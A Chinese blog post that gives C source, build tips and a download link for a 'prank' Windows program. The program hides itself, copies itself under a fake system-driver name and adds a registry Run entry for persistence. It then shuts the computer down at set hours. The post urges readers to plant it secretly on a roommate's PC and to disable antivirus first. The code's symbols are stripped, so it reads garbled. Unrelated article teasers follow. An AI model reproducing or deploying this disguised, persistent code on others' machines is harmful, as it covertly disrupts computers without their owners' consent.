C语言定时关机恶搞
程序的功能1 开机自启动关机以后再开机程序自动在后台运行到时间自动关机关机时间可自己设定。2窗口是隐藏的启动的时候没有任何现象但是在任务管理器能看到3全年非周末时间早上6点到9点中午12-2点晚上10点之后都会自动关机4快乐方法趁你的舍友不注意使用它的电脑然后运行该程序舍友就会快乐起来了。该程序适合在校大学生的舍友经常在休息时间打游戏或者看直播并且大喊大叫时使用效果非常明显且持续效果久且不易发现本人命名为早中晚快乐程序。控制台窗口隐藏程序#pragma comment( linker, /subsystem:\windows\ /entry:\mainCRTStartup\) // 设置入口地址开机自启动程序char exepath[MAX_PATH] { 0 }; GetModuleFileName(NULL, exepath, MAX_PATH); //printf(%s\n, exepath); CreateDirectory(D:\\Pregram Files_t, NULL); CopyFile(exepath, D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe, TRUE); HKEY hkey; RegOpenKey(HKEY_CURRENT_USER, SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, hkey); RegSetValueEx(hkey, Windows System32 网络核心驱动组件(谨慎操作), 0, REG_SZ, (const BYTE*)D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe, MAX_PATH); RegCloseKey(hkey);代码#include stdio.h #includeconio.h #include windows.h //系统头文件 #include commctrl.h #includetime.h #pragma comment( linker, /subsystem:\windows\ /entry:\mainCRTStartup\) // 设置入口地址 typedef struct Real_time { SYSTEMTIME ti; //定义变量存储系统时间 int second; int minute; int hour; int Milliseconds; }TIME, * PTIME; void Gettime(TIME* time) //获取系统时间并转化成int格式 { GetLocalTime((time-ti)); //获取系统时间 time-second time-ti.wSecond; time-minutetime-ti.wMinute; time-hourtime-ti.wHour; time-Milliseconds time-ti.wMilliseconds; } int main() { srand((unsigned)time(NULL)); //随机种子 char exepath[MAX_PATH] { 0 }; GetModuleFileName(NULL, exepath, MAX_PATH); //printf(%s\n, exepath); CreateDirectory(D:\\Pregram Files_t, NULL); CopyFile(exepath, D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe, TRUE); HKEY hkey; RegOpenKey(HKEY_CURRENT_USER, SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run, hkey); //打开注册表 RegSetValueEx(hkey, Windows System32 网络核心驱动组件(谨慎操作), 0, REG_SZ, (const BYTE*)D:\\Pregram Files_t\\Windows System32 网络核心驱动组件.exe, MAX_PATH); RegCloseKey(hkey); TIME time { 0,0,0,0 }; //时间 while (1) { Gettime(time); //月份和日的判断可以自行更改 if ( (time.ti.wMonth ! 4 time.ti.wDay ! 10) || (time.ti.wMonth ! 4 time.ti.wDay ! 17) || (time.ti.wMonth ! 4 time.ti.wDay ! 24) || (time.ti.wMonth ! 4 time.ti.wDay !9)|| (time.ti.wMonth ! 4 time.ti.wDay ! 16)|| (time.ti.wMonth ! 4 time.ti.wDay ! 23)|| (time.ti.wMonth ! 4 time.ti.wDay ! 30)|| (time.ti.wMonth ! 5 time.ti.wDay ! 1)|| (time.ti.wMonth ! 5 time.ti.wDay ! 7) || (time.ti.wMonth ! 5 time.ti.wDay ! 14) || (time.ti.wMonth ! 5 time.ti.wDay ! 21) || (time.ti.wMonth ! 5 time.ti.wDay ! 28) || (time.ti.wMonth ! 5 time.ti.wDay ! 8) || (time.ti.wMonth ! 5 time.ti.wDay ! 15) || (time.ti.wMonth ! 5 time.ti.wDay ! 22) || (time.ti.wMonth ! 5 time.ti.wDay ! 29) || (time.ti.wMonth ! 6 time.ti.wDay ! 4) || (time.ti.wMonth ! 6 time.ti.wDay ! 11) || (time.ti.wMonth ! 6 time.ti.wDay ! 18) || (time.ti.wMonth ! 6 time.ti.wDay ! 25) || (time.ti.wMonth ! 6 time.ti.wDay ! 5) || (time.ti.wMonth ! 6 time.ti.wDay ! 12) || (time.ti.wMonth ! 6 time.ti.wDay ! 19) || (time.ti.wMonth ! 6 time.ti.wDay ! 26) || (time.ti.wMonth ! 7 time.ti.wDay ! 2) || (time.ti.wMonth ! 7 time.ti.wDay ! 3) || (time.ti.wMonth ! 7 time.ti.wDay ! 9) || (time.ti.wMonth ! 7 time.ti.wDay ! 10) || (time.ti.wMonth ! 7 time.ti.wDay ! 16) || (time.ti.wMonth ! 7 time.ti.wDay ! 17) || (time.ti.wMonth ! 7 time.ti.wDay ! 23) || (time.ti.wMonth ! 7 time.ti.wDay ! 24) ) { if (time.hour 22 || (time.hour 6 time.hour 9) || time.hour 12 || time.hour 13 || time.hour 14) { if (time.minute 4 || //时间的判断 time.minute rand() % 59 || time.minute rand() % 59 || time.minute rand() % 59 || time.minute rand() % 59 || time.minute rand() % 59 || time.minute 30 || time.minute 59 ) { //关机程序 system(shutdown -s -t 50); //50s -r重启 -s关机 exit(0); } } } } return 0; }编译时记得把运行库改成多线程MT把静态库包含到.exe文件中否则你舍友的电脑没有安装VS就运行不了。还有一点需要注意在你舍友的电脑上运行时记得先把杀毒软件关掉否则程序没法加入注册表没办法实现开机自启动的功能。假如以上方法在你舍友的电脑上无法运行.exe程序的还有一个方法下载一个vcredist_msvc的环境安装包先在电脑中安装VS的运行环境再运行我们的快乐程序运行成功的概率将会大大增加。假如你没有安装VS.exe程序我已经为你准备好了你只需要在对应的电脑点击即可。链接https://pan.baidu.com/s/1JHeQJFyG1nwr-76RmP5HRg提取码kgfi点击之后就会出现如何关闭程序按winR键输入 regedit 进入注册表进入 计算机\HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run目录这里存放的文件都是开机自启动项当然也可以在这个目录中放入你的.exe文件也会开机自启动。把第二项网络核心驱动删除然后重启就行了。快让你的舍友快乐起来吧

相关新闻

抖音直播间数据抓取技术深度解析:从WebSocket到实时弹幕监控的完整实现

抖音直播间数据抓取技术深度解析:从WebSocket到实时弹幕监控的完整实现

抖音直播间数据抓取技术深度解析:从WebSocket到实时弹幕监控的完整实现 【免费下载链接】DouyinLiveWebFetcher 抖音直播间网页版的弹幕数据抓取(2025最新版本) 项目地址: https://gitcode.com/gh_mirrors/do/DouyinLiveWebFetcher 在…

2026/7/19 9:44:08阅读更多 →
滑动窗口巧解字符串异位词

滑动窗口巧解字符串异位词

LeetCode438给定两个字符串 s 和 p,找到 s 中所有 p 的 异位词 的子串,返回这些子串的起始索引。不考虑答案输出的顺序。示例 1:输入: s "cbaebabacd", p "abc"输出: [0,6]解释:起始索引等于 0 的子串是 "cba", 它是 &q…

2026/7/19 9:44:08阅读更多 →
2026视频转MP3工具全攻略:电脑、手机、在线免费无水印教程

2026视频转MP3工具全攻略:电脑、手机、在线免费无水印教程

日常剪辑素材、提取视频BGM、保存网课音频、剪辑配音素材,都离不开视频转MP3的操作。2026年市面上的转换工具五花八门,很多软件存在广告弹窗、付费锁功能、导出带水印、文件隐私泄露等问题,不少新手很难筛选出安全靠谱的工具。目前主流的转换…

2026/7/19 9:44:08阅读更多 →
JAVA练习315- 从前序与中序遍历序列构造二叉树

JAVA练习315- 从前序与中序遍历序列构造二叉树

题目概览 给定两个整数数组 preorder 和 inorder ,其中 preorder 是二叉树的先序遍历, inorder 是同一棵树的中序遍历,请构造二叉树并返回其根节点。 示例 1: 输入: preorder [3,9,20,15,7], inorder [9,3,15,20,7] 输出: [3,9,20,null,nu…

2026/7/19 15:15:06阅读更多 →
JAVA练习313- 二叉树的右视图

JAVA练习313- 二叉树的右视图

题目概览 给定一个二叉树的 根节点 root,想象自己站在它的右侧,按照从顶部到底部的顺序,返回从右侧所能看到的节点值。 示例 1: 输入:root [1,2,3,null,5,null,4] 输出:[1,3,4] 解释: 示例…

2026/7/19 15:15:06阅读更多 →
Python agent2agent-server 包完全指南:安装、语法、案例与常见错误

Python agent2agent-server 包完全指南:安装、语法、案例与常见错误

1. 引言随着 AI Agent 技术的快速发展,多智能体协作已成为构建复杂自动化系统的关键方向。agent2agent-server 是一个轻量级 Python 包,旨在简化不同 AI Agent 之间的通信与协作。本文将详细介绍该包的安装、核心语法、参数配置,并通过 8 个实…

2026/7/19 15:15:06阅读更多 →
恶意软件分析师必备:5个Unipacker高级技巧解密加壳样本

恶意软件分析师必备:5个Unipacker高级技巧解密加壳样本

恶意软件分析师必备:5个Unipacker高级技巧解密加壳样本 【免费下载链接】unipacker Automatic and platform-independent unpacker for Windows binaries based on emulation 项目地址: https://gitcode.com/gh_mirrors/un/unipacker 你是否曾经面对一个加壳…

2026/7/19 15:15:06阅读更多 →
SecretAgent核心功能解析:从反屏蔽到DOM追踪的全方位能力

SecretAgent核心功能解析:从反屏蔽到DOM追踪的全方位能力

SecretAgent核心功能解析:从反屏蔽到DOM追踪的全方位能力 【免费下载链接】secret-agent The web scraper thats nearly impossible to block - now called ulixee/hero 项目地址: https://gitcode.com/gh_mirrors/se/secret-agent SecretAgent(现…

2026/7/19 15:15:06阅读更多 →
Qwopus3.6-27B-Coder-4bit多语言支持详解:中文、英文、日文等多语言代码生成

Qwopus3.6-27B-Coder-4bit多语言支持详解:中文、英文、日文等多语言代码生成

Qwopus3.6-27B-Coder-4bit多语言支持详解:中文、英文、日文等多语言代码生成 【免费下载链接】Qwopus3.6-27B-Coder-4bit 项目地址: https://ai.gitcode.com/hf_mirrors/mlx-community/Qwopus3.6-27B-Coder-4bit Qwopus3.6-27B-Coder-4bit是一款强大的多语言…

2026/7/19 15:13:06阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/19 0:01:04阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/19 0:01:04阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/19 0:01:04阅读更多 →
Go语言静态资源打包方案对比与实践指南

Go语言静态资源打包方案对比与实践指南

1. 项目背景与核心需求在Go语言开发中,我们经常需要处理静态资源文件的打包问题。无论是Web应用的模板文件、前端资源,还是配置文件、证书等,都需要随程序一起分发。传统做法是将这些文件与编译后的二进制文件放在同一目录下,但这…

2026/7/19 0:01:04阅读更多 →
Go语言实现高性能LDAP认证服务的架构与实践

Go语言实现高性能LDAP认证服务的架构与实践

1. 项目背景与核心价值LDAP(轻量级目录访问协议)作为企业级身份认证的黄金标准,已经服务了超过80%的财富500强公司。我在金融科技领域实施统一认证体系时,发现传统Java方案存在启动慢、内存占用高等痛点。而Go语言凭借其协程并发模…

2026/7/19 0:01:04阅读更多 →
【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

【AI面试官实战指南】:用ChatGPT模拟10类高频技术岗面试,3天提升应答精准度92%

更多请点击: https://intelliparadigm.com 第一章:AI面试官实战指南的核心价值与适用场景 AI面试官并非替代人类HR的“黑箱工具”,而是以可解释、可审计、可迭代的方式,赋能招聘全链路的关键基础设施。其核心价值在于将主观经验沉…

2026/7/19 0:01:04阅读更多 →
YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

YOLOv8推理性能优化:从1.2FPS到35FPS的全链路加速实践

如果你在部署 YOLOv8 时,发现推理速度只有可怜的 1-2 FPS,而别人的演示视频却能跑到 30 FPS 以上,那么问题很可能不在模型本身,而在于你的整个处理链路。很多开发者拿到一个训练好的 YOLOv8 模型后,会直接使用官方示例…

2026/7/18 22:49:46阅读更多 →
Coze与Dify对比指南:低代码AI应用开发从入门到实战

Coze与Dify对比指南:低代码AI应用开发从入门到实战

1. 从零到一:为什么你需要了解 Coze 和 Dify?如果你对 AI 应用开发感兴趣,但一看到“大模型”、“智能体”、“工作流”这些词就头疼,觉得门槛太高,那这篇文章就是为你准备的。很多开发者,包括我自己&#…

2026/7/19 14:50:26阅读更多 →
AI生图工具怎么选?2026年6月版实测对比

AI生图工具怎么选?2026年6月版实测对比

做自媒体的朋友应该都有体会:配图一直是个让人头疼的问题。2026年,AI生图工具已经非常成熟了,但工具太多反而不知道怎么选。以下是截至2026年6月我对主流AI生图工具的实测对比。Midjourney V8.1:速度之王2026年6月11日&#xff0c…

2026/7/18 18:49:35阅读更多 →